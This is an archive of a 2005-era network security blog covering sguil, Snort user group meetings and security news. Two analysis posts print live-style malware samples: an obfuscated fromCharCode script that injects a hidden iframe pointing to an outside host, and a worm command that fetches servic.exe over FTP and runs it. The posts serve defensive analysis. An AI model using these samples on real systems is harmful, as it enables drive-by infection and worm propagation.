Decoding JavaScript document.write() alerts

I got some good feedback on my previous post about decoding HTTP challenge/response alerts, so I thought I'd try again. This time, the topic is decoding JavaScript document.write() alerts.

JavaScript includes a method for a script to modify the current web page (the "document"). The document.write() function call is used to add new content to the page, and this can also add new JavaScript code to be executed. This is a common obfuscation technique, often intended to make it more difficult for analysts or NIDS systems to detect qustionable content.

Here's an example to show what this looks like in the real world:

document.write(String.fromCharCode(60,115,
99,114,105,112,116,32,108,97,110,103,117,
97,103,101,61,34,74,97,118,97,83,99,114,
105,112,116,34,32,116,121,112,101,61,34,
116,101,120,116,47,106,97,118,97,115,99,
114,105,112,116,34,62,60,33,45,45,13,10,
100,111,99,117,109,101,110,116,46,119,
114,105,116,101,40,39,60,105,102,114,97,
109,101,32,115,116,121,108,101,61,34,100,
105,115,112,108,97,121,58,110,111,110,
101,34,32,119,105,100,116,104,61,34,49,
34,32,104,101,105,103,104,116,61,34,49,34,
32,102,114,97,109,101,98,111,114,100,101,
114,61,34,48,34,32,115,99,114,111,108,108,
105,110,103,61,34,78,111,34,32,115,114,99,
61,34,104,116,116,112,58,47,47,115,46,101,
117,119,101,98,46,99,122,47,39,43,40,40,40,
110,61,77,97,116,104,46,102,108,111,111,
114,40,52,53,42,77,97,116,104,46,114,97,110,
100,111,109,40,41,41,41,60,53,41,32,63,32,39,
115,116,101,112,39,43,40,110,43,50,41,43,39,
46,112,104,112,39,32,58,32,39,101,110,103,
105,110,101,115,46,112,104,112,63,110,111,
61,39,43,40,110,45,52,41,41,43,39,34,62,60,
47,105,102,114,97,109,101,62,39,41,59,13,10,
47,47,45,45,62,60,47,115,99,114,105,112,116,62));

Notice the "String.fromCharCode()" function. That's the key to deciphering this. Each of the numbers in the list is just the decimal ASCII code of the corresponding character in the script that this is intended to create.

Once you realize how this works, reconstructing the script itself is trivial. I usually use the following perl command line, then cut and paste just the ASCII list into its standard input, like so (my input is in bold):

% perl -e 'while(<>) { @list = split /,/; grep {print chr($_);} @list; }'
60,115,99,114,105,112,116,32,108,97,110,
103,117,97,103,101,61,34,74,97,118,97,83,99,
114,105,112,116,34,32,116,121,112,101,61,34,
116,101,120,116,47,106,97,118,97,115,99,114,
105,112,116,34,62,60,33,45,45,13,10,100,111,
99,117,109,101,110,116,46,119,114,105,116,
101,40,39,60,105,102,114,97,109,101,32,115,
116,121,108,101,61,34,100,105,115,112,108,
97,121,58,110,111,110,101,34,32,119,105,100,
116,104,61,34,49,34,32,104,101,105,103,104,
116,61,34,49,34,32,102,114,97,109,101,98,
111,114,100,101,114,61,34,48,34,32,115,99,
114,111,108,108,105,110,103,61,34,78,111,
34,32,115,114,99,61,34,104,116,116,112,58,47,
47,115,46,101,117,119,101,98,46,99,122,47,39,
43,40,40,40,110,61,77,97,116,104,46,102,108,
111,111,114,40,52,53,42,77,97,116,104,46,114,
97,110,100,111,109,40,41,41,41,60,53,41,32,
63,32,39,115,116,101,112,39,43,40,110,43,50,
41,43,39,46,112,104,112,39,32,58,32,39,101,
110,103,105,110,101,115,46,112,104,112,63,
110,111,61,39,43,40,110,45,52,41,41,43,39,
34,62,60,47,105,102,114,97,109,101,62,39,
41,59,13,10,47,47,45,45,62,60,47,115,99,
114,105,112,116,62

I've omitted the actual output here, since it would be JavaScript and I don't want to load the code into your browser by accident, but feel free to try this on your own and see what JavaScript nuggets you can dig up.

China refutes hacking charges

I mentioned Titan Rain several months ago, but it's back in the press again, mostly because Allan Paller is using it to flog the new SANS Technology Institute.

No matter. It's news again, and this time China is coming out with a stunning defense. From The Standard:

"We have clear stipulations against hacking. No one can use the Internet to engage in illegal activities," foreign ministry spokesman Qin Gang told a regular briefing Tuesday.

"The Chinese police will deal with hacking and other activities disturbing social order in accordance with law."

I also enjoyed this quote:

"I'm not sure about the American accusations," Qin said.

"If they have proof, they should tell us."

Now, I'm not saying that I think the Chinese government is sponsoring this. I'm also not saying that I think they're innocent. The fact is, we don't know. Despite Paller's ludicrous assertion that these attacks could only have been executed by a military organization, the fact is that their origin is still a mystery, at least in the open press.

So what is my point? Simply that, while we don't know for sure, I do find it very plausible that the Chinese government is behind these attacks, either directly or indirectly. China has a long history of espionage. There's a very thorough book, The Tao of Spycraft: Intelligence Theory and Practice in Traditional China that documents this in detail.

Denials count for nothing. If the Chinese government wants us to believe they're not behind the attacks, they should help us investigate and find the attackers. Until that happens, we have to assume that China could in fact be behind the attacks.

January HRSUG Meeting Announcement

The January meeting of the Hampton Roads Snort Users Group (HRSUG) will be held on Wednesday, January 11th at 7:00PM. This will be an important meeting, since we will open the nominations for the positions of Chair and Vice Chair.

As for a technical presentation, I will be demoing sguil, an open source Network Security Monitoring (NSM) tool. Sguil incorporates NIDS information (snort), network session data and packet logging into a single analyst console/research tool. I'll be showing how sguil can help you save time, save money and improve your detection program at the same time.

Location details are below. We had a good turnout for the last meeting, and I hope this one will be even better. See you there!

Date:  11 Jan 2006
Time:  7:00PM
Place: Williamsburg Regional Library
       515 Scotland Street
       Williamsburg, VA
       (757) 259-4040
       Meeting room B

Some InstantNSM love

Thanks to my friend and fellow sguil user Geek00L for showing some love to my Network Security Monitoring project, InstantNSM. It's my attempt to make sguil easier to deploy. If you've been scared off by the complexity of NSM, check it out and let me know what you think.

Sguil 0.6.0p1 Released

Ok, it turns out there was a fairly serious "crash-the-server" bug in the 0.6.0 release. If you're using that, you should probably upgrade to 0.6.0p1 immediately.

Decoding "Challenge/Response Authentication" alerts

If you're using Snort for IDS operations and have downloaded the BLEEDING-EDGE rules, you've probably noticed a lot of alerts called "BLEEDING-EDGE VIRUS HTTP Challenge/Response Authentication". This type of alert may seem quite mysterious, but in reality, this is most likely worm traffic (see the ISC Handler's Diary entry on the subject).

If you look at an ASCII transcript of the traffic (thanks, sguil!), you'll see something like the following:

GET / HTTP/1.0
Host: 192.70.245.110
Authorization: Negotiate IQegYGKwYBBQUCoIIQbjCCE[...]
RERERERERERERERERERERERERERE==

So what is this traffic? Well, IIS allows a client to negotiate the type of HTTP authentication scheme, which is the purpose of the "Authorization: Negotiate" line (more info on this capability can be found here and here). Unfortunately, there is a buffer overflow in some versions of this facility, which could allow the remote execution of arbitrary code. That's what all that extra junk at the end of the request is.

The overflow is encoded in Base64 (as per the Negotiate protocol). Want to unencode it and see what's there? Easy! On my Linux box, I used the following Perl command to set up a simple decoder, then cut-and-pasted the ASCII text into the window.

perl -e 'use MIME::Base64; $line = <>; chomp($line); $out = decode_base64($line);print "\n\n$out\n";' | & less

What you'll see is a bunch of junk, mostly buffer padding and shellcode, but with some plaintext commands visible in the middle. The exact commands vary a bit depending on exactly what code is attacking you, but they usually look similar to this:

cmd /k echo open 192.168.1.101 15801 > o&
echo user 1 1 >> o &echo get servic.exe >> o &
echo quit >> o &ftp -n -s:o &del /F /Q o &
servic.exe

See what that does? It creates an FTP script to log in to a remote host and fetch a file. Then it runs FTP with that script to actually download the infection code, and runs it. It's even sharp enough to delete the temporary FTP script.

One interesting thing to note is that it seems to use the attacking host's IP address, which in this case was probably behind some sort of NAT firewall, so this would have failed to spread the infection even if we had been vulnerable.

Anyway, now you know.

Sober worm pulls an interesting trick...

Check out this article from F-Secure's blog. According to it, Sober.Y has an ingenious method for "calling home" to download updates that resists efforts to block or shut down the URLs it uses.

According to the article, the worm tries to download its updates from URLs which are calculated in part based on the date. The actual URLs themselves aren't registered, but when the owner of the worm wants to send out an update, he simply calculates the day's URL, registers it, and places his content there for download.

It's a bit harder to shut things down if they don't exist yet, but fortunately the F-Secure guys reverse engineered the algorithm, which lets them predict the URLs too. They were apparently the ones who tipped off the German police, who in turn issued a statement last month on the subject.

Neat idea on the part of the author, but now that the algorithm is known, I guess it won't do him as
much good as he had hoped.

The other gift that keeps on giving

That's the gift of security, of course. Why not take a tip from this Computerworld column and choose Christmas gifts that promote good security practices as well?

If you were writing this list, what you would you include?

December HRSUG Meeting Report

As both of you who read my blog know, last Thursday was the December HRSUG meeting. Jason Brvenik and Jennifer Steffens from Sourcefire attended our inaugural meeting, as did several members of the local security community.

We started out by discussing some organizational matters, and found that everyone was interested in meething on a monthly basis. Until people get to know each other at least a little bit, we've decided to defer electing officers. Nominations will be taken at the January meeting, with an election to be held in February. In the meantine, we can use the mailing list to introduce ourselves.

With introductions and administrative matters out of the way, Jason gave a talk about the advantages of target-based IDS. The idea is that the more you know about your network, the better you can protect it. In the IDS world, this means that you can provide more accurate detection and perhaps boost performance by telling Snort more about the targets (hosts) on your network. Jason discussed the upcoming snort configuration language changes as well as some neat new realtime updating capabilities for loading new configuration into a running snort process. Expect to see these new features rolled out in stages between now and 2007.

Our presentation was followed by an optional "offsite networking event" which was also quite successful.

In short, I think a good time was had by all. Thanks for everyone who showed up, and I'm looking forward to an even better meeting for January! Stay tuned!

Sguil 0.6.0 released!

Sguil is the de facto reference implementation for Network Security Monitoring (NSM). Sguil 0.6.0 was released today!

Tired of not having the data necessary to properly follow up on your IDS alerts? Give sguil a try. It integrates alerts (via Snort), network session data and full packet logging into a single easy-to-use analyst console.

For more information about sguil, see my presentation on the subject. Also check out my related project, InstantNSM.

Need a better reason to come to HRSUG?

You're probably tired of hearing me talk about it, but the first Hampton Roads Snort Users Group (HRSUG) meeting is this week (details here). As if networking with your peers or listening to our guest speaker weren't enough, there's one more reason to come... free training!

The folks at Sourcefire have donated a training package door prize worth almost $2,000. In short, if you attend and are the lucky winner, you'll get:

• 1 Building an Operating Snort 2.4 course
  
• 1 Writing Snort Rules course
  
• 1 Snort Certified Professional (SnortCP) certification exam attempt
  

I've recently taught both of these classes, and I can tell you from my personal experience that they're very good. The winner will have their choice of instructor-led classroom training or the self-paced online classes. Other meeting attendees can register for the same classes/exam at a 50% discount through December 31st, 2005.

So... you're coming, right?

On the dangers of speaking outside your area of competence

Ok, this is just dumb. According to this article, Richard Carrigan, a physicist at Fermilab, is concerned that aliens (as in E.T.) are going to "infect the Internet". He claims that the signals processed by the millions of computers participating in the SETI@Home distributed computing project are capable of carrying malicious code, and the SETI project should implement some sort of signal quarantine to protect us. Kind of like a reverse Jeff Goldblum manoeuver from Independence Day.

The thing is, this isn't a very likely scenario. First, the signals are data, and not executable code. That's our first layer of protection.

Now, we could posit a software flaw in the SETI@Home client that could lead to some sort of overflow that allowed arbitrary code to be executed, but in order for aliens to successfully exploit it, they'd need to know an awful lot about how our computers work, and about our current software versions, and the laws of physics are working against them.

The closest star is about 4.5 light years away from Earth. Assuming that we broadcast complete technical details of the x86 architecture and an entire copy of the Windows OS, along with a comprehensive set of security bulletins and an SDK, the necessary roundtrip time for data travelling at the speed of light would mean that by the time the "exploit" could arrive here, we'd be about 9 years further on. Let's see, 9 years ago, we'd all have been running NT 4 and Windows 95. Good luck trying a Win95 overflow on my XP system! The offsets are wrong now, and new security technologies exist now that weren't dreamed of then (like the non-executable stack). What will we have 9 years from now? I don't know (and neither do the aliens), but I do know the aliens don't stand a chance.

Seriously, I think he's missing the point. If you want to be concerned with the security of the SETI@Home software or their new replacement, BOINC, don't bring aliens into the picture. Security concerns are legitimate, yes, but it is far more likely that if a software bug does exist that allows remote code execution, it'll be exploited by a human, not an alien.

Unless, of course, you believe this guy.

Update 2005-11-28 09:48 -- Check out Richard Carrigan's website for more information on his idea. There's a presentation and a copy of his paper on the subject.

HRSUG Meeting Reminder

Just a reminder that the inaugural meeting of the Hampton Roads Snort Users Group (HRSUG) is just around the corner! Read the meeting details, then join the mailing list!

HRSUG Mailing List

As you may know, I recently announced the formation of a new Snort users' group in the Hampton Roads, VA area. I'm happy to say that the group's mailing list is now available. If you want to be kept up to date on our meeting schedule, or if you just want to connect with other security people in the area, sign up now!

RSA: Phishing experiments hook net users

Here's a nifty RSA press release describing a recent experiment they conducted in NYC. Experimenters posed as tourism pollsters and in most cases were able to gather enough information from their subjects to divine possible passwords they might use for their various accounts. Oddly, most people wouldn't give out their password itself, or the method by which they come up with new passwords.

The article points out that the most likely explanation is that most people just aren't aware of how other personal information can be used as "back doors" (e.g., by using the mother's maiden name to reset "forgotten" passwords). I'm kind of at a loss on this one. Who hasn't had to set up a security question for this purpose? Are people setting these up and forgetting about them, or maybe blindly answering the questions without understanding the purpose of collecting the information?

Here's what I'd like to do. I'd love to repeat this experiment, with a twist. At the end of each interview, hand the person a scorecard telling them how well they protected their information, and providing suggestions for improvement. Be sure to give examples of how each piece of requested information could have been used against them. That way you gather results and educate the public at the same time.

Open source exploit programming tools for Windows

Michael Boman has just posted a short article in which he details some open source tools he uses for "exploit engineering" on the Windows platform. I'm not as familiar with the Windows development tools as I am with their Unix counterparts, but I might have to try some of these myself.

Apparently more articles in this series are under development.

Hampton Roads Snort Users Group

As some of you know, I've been wanting to meet more infosec pros in my local area (sounds like the beginning of a 900 number ad). I started by volunteering as a SANS Local Mentor, and that worked very well, but now I'm going to take the next step.

I've been working with the fine folks at Sourcefire to help me create a local Snort Users Group, and I'm finally ready to announce our first meeting!

Date:  1 Dec 2005
Time:  7:00PM
Place: Williamsburg Regional Library
       515 Scotland Street
       Williamsburg, VA
       (757) 259-4040
       Meeting room B

The speaker for our inaugural meeting will be Sourcefire's Jason Brvenik, who will fill us in on the new target-based IDS technology that they are incorporating into the open source Snort code.

By the way, don't let the group's name fool you. Even if you're not interested in Snort itself, please consider attending anyway. Most Snort user groups cover a variety of security-related topics, and that's what I want for this one, too. So if you want to meet some of your peers in an informal setting and learn some of the newest happening in the security world, HRSUG is for you!

Please pass the word, and contact me (david vorant com) if you'd like any more information.

Risks vs. Vulnerabilities vs. Threats

My experience tells me that a lot of people are still confused over the differences between risks, threats and vulnerabilities. In fact, even security pros (who should know better) often find themselves misusing the terms in casual conversation. The following simple analogy may help clarify the situation:

Imagine that you are going on a trip. While packing your suitcase, you realize that you need to bring some shampoo. Your shampoo has a flip top, not a screw top, and so you're concerned that if you pack your bag too full, the airport baggage handlers might treat your bag roughly, exerting excess pressure on the bottle and popping the top. Shampoo could spurt all over your stuff!

In this scenario, you have a vulnerability (the flip top shampoo bottle which might not survive a good squeeze). The threat is that baggage handlers are not known for being gentle. The risk is that your clothes might get doused with shampoo.

Change any one of these conditions and you don't have anything to worry about. If you remove the vulnerability by taking a screw top bottle instead, your clothes will be fine because even the baggage monkeys can't rupture a properly made bottle (you hope). Similarly, if you decide to carry your luggage on, you can probably avoid the baggage handlers altogether, and you will naturally be more careful with your own bag.

While we're on the subject, let's carry the analogy a bit further and talk about countermeasures. There are four basic types of countermeasures: Preventative, Reactive, Detective and Administrative. Preventative countermeasures work by keeping something from happening in the first place. In the example above, enclosing the bottle in a rigid plastic box would certainly help keep it from being crushed, and would count as a preventative countermeasure.

A reactive countermeasure comes into play after an event has already occurred. If you arrived at your hotel and found that your clothes were, in fact, covered with goo, you could make use of the hotel's laundry to correct the problem. This would be an example of a reactive countermeasure.

I can't really think of a realistic example of a detective measure here (a shampoo sniffing dog?) so finally, an administrative countermeasure uses policy to protect an asset. In this case, you could attempt to avoid the situation by making it your policy to rely on the hotel's shampoo, thus removing your need to bring your own.

I hope this has made things a little more clear. It is the combination of the vulnerability (the flip top shampoo bottle) and the threat (baggage monkeys at the airport) that creates a risk (to the clothes). You can attempt to use various countermeasures to bring the risk down to acceptable levels, or you could simply accept the risk and move on.

Of course, as I am a devious person, I might choose to take a different option. I can always transfer the risk by packing the shampoo in my wife's bag. I'll leave you to do your own risk analysis for that one...

Why 419?

The Los Angeles Times is running a great behind-the-scenes story on Nigerian 419 scams, entitled I Will Eat Your Dollars. I think this is the best thing I've ever read on the subject, as it follows an actual scammers in Lagos. The story goes into detail on how the scammer, Stephen (19 yrs old), got into the business and why it was so attractive to him and his colleagues. If you have any interest at all in the subject, you really should read this article.

What your printer is telling the world about you.

The Electronic Frontier Foundation has published a short but extremely disturbing release in which they describe the secret watermarks your color laser printer could be placing on all your printed pages. Apparently the Secret Service has negotiated the inclusion of secret watermarks (in the form of patterns on yellow dots) on printers from a variety of manufacturers. This page contains a more technical explanation of how to see these little yellow dots and what they mean. There's also an interactive form you can use to submit your own dot pattern for decoding.

I've said that I find this very disturbing, and here's why: the government has neither the right nor the legitimate need to track arbitrary documents printed by its citizens. Frankly, this is the sort of thing I expect to hear about China, not the US.

Attorney-client privilege for pentest results

What an interesting idea. this article's thesis is that pentest results can potentially be used against the company that ordered the test. In court, opposing counsel could use them to argue that the company failed to exercise due dillegence in protecting its assets.

The solution? Have your attorney arrange the pentest, and then the results will be covered under attorney-client privilege.

This is kind of a neat legal "hack", but it's kinda sad that this could be necessary. Pentests are all about exercising due dillegence, not ignoring it. At least, if a company properly follows through on the response to the findings, which is not always the case. So if you're planning to ignore the results of your next test, read this article.

New forensic disk image format proposed

Ahoy! Simson Garfinkel has announced the immediate availability o' his new Advanced Forensic Format specification, as well as a bit o' code to help developers integrate it into their own projects.

Arr! There be several good ideas here. How long 'fore this makes it into yer favorite forensics tools?

2005 Underhanded C contest winners announced

Ahoy, me harties! The underhanded C contest (or, to we pirates, "the underhanded sea contest". Arr!) trains a perspective glass squarely on fine, upstanding looking code with a scurrilous hidden purpose. The winners have just been announced. Check 'em out, or ye'll be forced to drink a bucket 'o bilge!

Near real time spam map

Mailinator has created a nifty new Google map application to track the geographic origins of spam they receive. Check it out!

Good discussion on Daily Dave

If you haven't already, head over to the Daily Dave archives and read through the thread, Hacking: As American as Apple Cider. This is Dave's response to the recent Marcus Ranum editorial, The Six Dumbest Ideas in Computer Security.

Marcus' thesis seems to be that we can prove that many of the bedrock foundations of a modern infosec program are ineffective, so we should instead be focused on other more productive avenues to defense. I find myself sympathetic to this postion, though I do not agree with it. His argument that user-level security awareness training doesn't work is obviously false, for example. Although the typical computer user will never know as much as we do about security issues, I've personally observed my own users contacting me with security concerns that were brought to their attention because of our annual awareness training. Can we approach the security of our systems in some better way? Yes, we can and must. Do we know of a workable better way? Well, I don't, so I'm going to keep my eyes and ears open while I continue to implement what I know works.

I also have some problems with Dave's line of reasoning. In his essay Why hacking is cool, so that Marcus changes his website Dave tries to go for the high ground, equating hacking with fighting back against repressive regimes. There are some cases for that, I suppose, but that really doesn't seem to apply to any of the cases I deal with, nor with the vast majority of cases handled in this country.

I find hacking cool, of course, if done by authorized personnel. If you're a would-be Chinese dissident, then you've probably got a case there, too. But otherwise, it's not cool at all.

Critical MS patch --- PSYCH!

Ok, this is a bit frustrating. Microsoft recently announced a critical patch would be issued tomorrow (September 13th). MS defines "critical" as "remote execution of code", which sounds reasonable to me. But I'm a bit frustrated about their decision over the weekend to delay releasing the patch. Make no mistake, I'm all for good quality control, but I don't like being told that there's a critical vulnerability for which I'm not allowed to have the patch.

Sun Tzu on Network Security

I'm a big Sun Tzu fan. I've got a small collection of different translations and interpretations of his work, as well as a few other similar texts. I've also long harbored a secret desire to do an updated infosec interpretation of The Art of War, so when I saw this link, of course I was immediately interested.

Overall, I like this paper. Though I don't agree with all of Mr. Toderick's points, it's well worth a read.

Titan Rain: Scary as it Gets

Are Chinese cyberspies massively hacking US government and military networks? Perhaps. Read this. Then read Richard Bejtlich's take on it.

The theory that the Chinese government is behind this campaign seems very plausible. China has a well documented history of espionage, going back more than 2,000 to the time of Sun Tzu. If you're interested, I'd recommend The Seven Military Classics of Ancient China, Including The Art of War and (far more recently), The Tao of Spycraft: Intelligence Theory and Practice in Traditional China.

A week in the life...

I enjoyed this short piece on what it's like to be part of the F-Secure response team during a global worm outbreak. Glad I'm not them!

PS: 100th post!

PC World profiles professional cybercriminals

PCWorld just published the first of a five part series on the professionalization of crime on the Internet. Looks like a good overview of the subject. Should be an interesting series.

LinuxWorld get-together

If you're going to be at LinuxWorld next week in San Francisco, why not drop by and say hi?

Defcon's Wall of Sheep

This is hillarious. People, if you go to a hacker conference, make sure you practice safe computing. I would have thought this was just common sense.

How to pwn a planet

Reuters (and many other sources) are reporting that astronomers at CalTech may have been pressured by hackers to reveal their discovery before they had completed their analysis.

I must have missed this statement when I first read about the planet, but I think this is pretty interesting. Apparently attackers had compromised a "secure server" and determined that the astronomers had made this discovery, and threatened to make the information public if the researchers didn't do it themselves. It makes me wonder what they got access to. I'm betting it was email, because I'm not sure I'd buy the idea that they'd be able to make sense of the scientific data itself. Anyone know?

MIchael Lynn's Black Hat presentation: What's the big deal?

In case you haven't heard, there's a big controversy over one of yesterday's Black Hat presentations. I frankly don't see what all the fuss is about.

According to Cisco, Lynn reverse engineered parts of IOS while working for ISS. This allowed him to discover methods to make use of existing vulnerabilities to gain shell access or execute arbitrary code on a Cisco router.

People, this is a big technical step forward, but it's just not news. First, Mr. Lynn has not created or publicized new Cisco vulnerabilities, he's merely come up with some more creative ways to make use of existing vulnerabilities. Second, I don't think any security professional should be surprised that it's possible to use a stack or heap vulnerability to execute code. It's been done to death on every other platform, why not IOS too? My hat's off to Mr. Lynn for what is definitely some masterful coding on his part, but we've seen this before elsewhere.

What really puzzles me, though, is why anyone is surprised that he's apparently going to be sued by both Cisco and ISS. I'm not privy to the agreements he may have signed with ISS when he was employed there, nor do I know any details about any NDAs that might be in place between ISS and Cisco. However, if he was paid by ISS to work on this project, the work belongs to ISS and not to Mr. Lynn. That alone could be sufficient grounds for ISS to complain, especially because by outing the work, he has also probably opened ISS itself to lawsuits from Cisco.

So please everyone, let's get over this teacup imbroglio. This just isn't the story everyone thinks it is.

Tor is a double-edged sword

Yes, this article's conclusions are a little obvious. An anonymizing network protects the privacy of normal users and evildoers alike. That was just about my second thought on hearing about Tor (the first was, "Cool!").

I like this article, though, because it has a step-by-step guide to running some simple Nessus scans through Tor. I haven't been using Tor in my penetration tests, partly because being anonymous isn't much of an issue, but mostly because I don't know that I trust it to work well for all the various Nessus tests. I might give this guy's method a try, though, and see how it goes.

Seagate's encrypted hard drives

This announcement has been getting a fair amount of press recently. I think it's great that a major hard drive manufacturer is getting on the hardware encryption bandwagon, but I have a couple of questions.

First off, it seems as though the user must enter a password to unlock the encryption key before the OS will even boot. Does this imply that you need a special BIOS to handle this functionality?

Also, are there any brute force countermeasures in place to defeat password guessing attacks? It seems as though forensic analysts are going to have a tough time with these, but since most users choose sucky passwords, maybe it's not all bad news for the good guys. On the other hand, good lockout or data destruction features could really come in handy with these units.

If anyone know more about this, I'd appreciate it if you could drop a comment here to clarify things.

Off to InfoSeCon

I'll be flying out tomorrow for InfoSeCon in Dubrovnik, Croatia. I'll be speaking and teaching, but I plan to attend a bunch of the sessions as well. Keep your eyes on the blog for updates throughout next week.

Send $200 in unmarked e-cash...

This story is a little light on technical details, but interesting nonetheless. Short form: an attacker encrypts important business documents, then leaves a $200 ransom note for the encryption keys. I'm sure this sort of thing happens all the time, but it rarely makes the mainstream media (especially not for a measly $200 ransom).

Have you backed up your files lately?

Inside Operation Firewall

Business Week has an article with some interesting details on last October's Shadow Crew bust. Pretty interesting, especially for a non-tech publication.

A big shout-out to all my Croatian fans!

In a rather unlooked-for but extremely welcome turn of events, I've been scheduled to speak at next month's InfoSeCon in Dubrovnik, Croatia (June 6 - 9). I will be presenting a talk on Network Security Monitoring (NSM) with the open source Sguil software. I'll also be teaching a more advanced master class on NSM based on Richard Bejtlich's The Tao of Network Security Monitoring.

And let me just say that the location looks to be a stunning seaside resort on the shores of the crystal blue Adriatic. Even if you don't care to hear me talk, come for the junket value!

Symantec releases worm outbreak simulator

This is just too cool. You can download and run this on your own Windows system, but although the documentation says you can tinker with the security policies, worm characteristics and other simulation variables, the software doesn't seem to allow you to do this. I guess Symantec doesn't want to give undue advantage to it's competitors (or the worm creators), which I suppose is understandable. Still, if we could at least edit the network security policies and such, this would be a great tool to show your users & management the importance of good security controls!

IPSec information disclosure vulnerabilities

The UK's National Infrastructure Security Coordination Centre has published an advisory about vulnerabilities in certain IPSec configurations that could allow an active attacker to recover the plaintext of the encrypted communication.

If you're using IPSec, you need to read the advisory, but I can tell you briefly that the attack involves twiddling the bits of the encrypted payload such that the IP headers of the tunneled packet are modified in various ways, which should generate ICMP diagnostic messages on one side of the tunnel. ICMP packets typically include the header and payload information from the packet which generated the error condition, in this case the unencrypted IP packet.

The advisory claims that this attack can be fully automated and can potentially recover entire encrypted sessions. The best workaround seems to be to configure ESP's integrity protection as well as it's encryption, though blocking ICMP error messages would also be effective in some circumstances.

F-Secure tries to infect the prius

This is pretty creative. I admit to having wondered myself how secure some of these bluetooth-enabled car computers were. When a friend of mine got a new 2004 Prius last year, we actually went out and tried to see if we could somehow access it with my PDA, but we didn't go to nearly the trouble these guys did!

Always beware of conference wireless...

ZDNet UK is running an article about some attackers providing counterfeit wireless access to attendees. According to the story, the crackers strolled around the conference with access points running on their laptops and advertising well-known SSIDs (like tmobile). When a victim associated with the access point, the software generated
randomly-mutated malware (to bypass antivirus scanners) and attempted to download it onto the client.

None of these features are new, but the combination is. This is a very nasty (and probably quite effective) use of existing off-the-shelf technology.

Schneier on "Hacking the Papal Election"

This is how you think about everything in your life if you're in the security field. Check out Bruce Schneier's analysis on Hacking the Papal Election.

Insight on this month's "Scan of the Month"

Richard Bejtlich (analyst, author and blogger extraordinaire) has a good point in his latest blog entry. The Honeynet Project's Scan of the Month collects a whole lot of data, but how much time will it take a good analyst to complete the challenge? Properly applied NSM certainly would make this sort of thing much easier. Go sguil!

DoD goes l33t

Wired News is running an article, titled U.S. Military's Elite Hacker Crew, about the Joint Functional Component Command for Network Warfare (JFCCNW). Although everyone has pretty much assumed that our military has had this Information Warfare capability for some time, the existence of l33t gov't h4x0rs has recently been confirmed. Not much other detail is available, but this is a start.

Five Mistakes of Incident Response

InfosecWriters has a short but sweet paper by Anton Chuvakin, entitled Five Mistakes of Incident Response. It's a quick, easy read that I wholeheartedly recommend. In fact, I would have added a mistake #0: Panicking. Keeping your cool is always the most important thing in Incident Response. Still, this paper is a great summary of the other top five mistakes to avoid.

Detecting attacks in RFC3514-compliant traffic

Those of you who run RFC3514-compliant networks might be interested in this snort rule I wrote. It has an unusually good detection rate, with very low false positive and false negative rates. So far it's working well for me, so I thought I'd share it:

alert ip any any -> any any (msg:"RFC 3514 Attack Traffic Detected"; fragbits:R; classtype:misc-attack; sid:35140; rev:1;)

PITAC report misses the point entirely

The President's Information Technology Advisory Committee has just released their report on Federal support of basic computer/network security research in this country. As you can probably guess from the title, Cyber Security: A Crisis of Prioritization, the report concludes that the government needs to invest in more support for basic security research if it wants to get the technology and the trained professionals it needs to implement a long-term strategy for securing its information assets.

The report is well worth reading, but by focusing on the research angle, it misses a much more important point for the short- and medium-term security of government systems: The US government often does not provide civilian agencies with adequate funding, personnel or training to carry out appropriate security plans. The entire system is predicated upon the assumption that if a mandate comes down, it will be implemented regardless of operational issues such as cost, suitability to the existing computing environment or available manpower.

Until the government stops trying to simply decree security and starts to really get serious about providing agencies with the ability to implement the decrees, we're not going to see much overall improvement in security posture no matter how much research we do.

33% of IRS Workers Vulnerable to Social Engineers

The Washington Post has an AP story today stating that "more than one third" of the 100 IRS employees tested by the auditors gave up their login information in response to a simple phone call from a fake technician.

Apparently this was a big increase over the last test 4 years ago, when 71% of those called cooperated, but I think it'd take a lot of guts to try to spin this as an improvement.

NSA Recommends Suite B Encryption Algorithms

The National Security Agency employs some of the US's (and probably the world's) best cryptographers, so when they talk codes & ciphers, people listen. I didn't notice this bit of news when it first happened, but last month the NSA recommended a suite of cryptographic algorithms known as Suite B for use in encrypting sensitive but unclassified data.

The biggest news here is that the NSA is finally recommending a set of algorithms that includes public key cryptography, Elliptic Curve Cryptography (ECC) in this case. Suite B also includes several other algorithms, such as an ECC variant of the Diffie-Hellman key exchange protocol and non-public key schemes, like AES and SHA. Some of the components of Suite B are public standards, but apparently the core ECC technology itself is licensed from Ontario, CA based Certicom. Good news for them, certainly, but I'm not entirely sure what this means for those of us in the Open Source world. You can read their official press release here.

On a final note, these articles raised a question in my mind that I haven't seen anyone else ask yet... What was in Suite A, and why wasn't it approved instead?

Global DNS Cache Poisoning?

SANS's Internet Storm Center is tracking a possible global DNS cache poisoning attempt for several high profile web sites like Google, eBay and Weather.com. Read their preliminary diary entry here, and let them know if you're seeing the same thing.

Remotely identifying computers via clock skew

ZDNet Australia is reporting that a University of California doctoral student has developed a technique for telling different computers apart over the network by detecting their clock skew. According to this article, the technique works behind NAT devices and over long periods of time, even if devices move around a lot.

I need to read the research paper in order to decide whether I believe this or not, but it sounds plausible. Unfortunately, the paper is not yet available.

UPDATE [2005-03-04 12:42]: The paper is indeed available, and can be found here.

Good take on RHEL's SELinux

Andy Oram has an interesting article on his blog about how his approach to RedHat's targetting SELinux policies changed once he really thought about their intended deployment model. I won't give away the ending, but you can read it for yourself.

SHA-1 Broken?

Bruce Schneier's latest blog entry mentions an as-yet uncirculated paper that claims to show how to drastically reduce the number of operations needed to find a hash collision. If I read this correctly, Schneier has read the paper himself, but has not yet been able to verify the results. But it's obvious he's taking this very seriously, and that's good enough for me.

Howard on Safer CRT

Microsoft's Michael Howard (co-author of Writing Secure Code and maintainer of a great Windows-oriented security blog has started writing a series of articles about the new security-enhanced C runtime library that will start shipping in the next beta version of Visual Studio. This won't automagically turn Windows into a security powerhouse, but this looks like a very promising step. I can't wait to hear more.

Wireless hacking presentation: "All Your Layer Are Belong To Us"

Among the presentations at ImmunitySec's recent Security Shindig 3 this exciting presentation about exploiting Windows Wireless Zero-Configuration behavior to an attacker's benefit. My favorite quote is "You can be 0wned while watching a DVD on a plane!"

Seriously, this is an interesting presentation. I would have loved to have been there for the demo of KARMA, the tool they wrote that automates these attacks. Don't know if it's available for download anywhere.

How manufacturers protect themselves from online lowballers

Ok, I know this isn't exactly about information security, but here's a cool article describing in some detail how major manufacturers protect themselves online black marketeers. This obviously isn't 100% effective, but it's kinda neat, in a King Canute sort of way.

InfosecBooks.Com

I just wanted to put in a little plug here for my other blog, InfosecBooks.Com. I read security books, then I let you know what I think about them. If that sounds good to you, drop by sometime.

Detecting TOR on your network

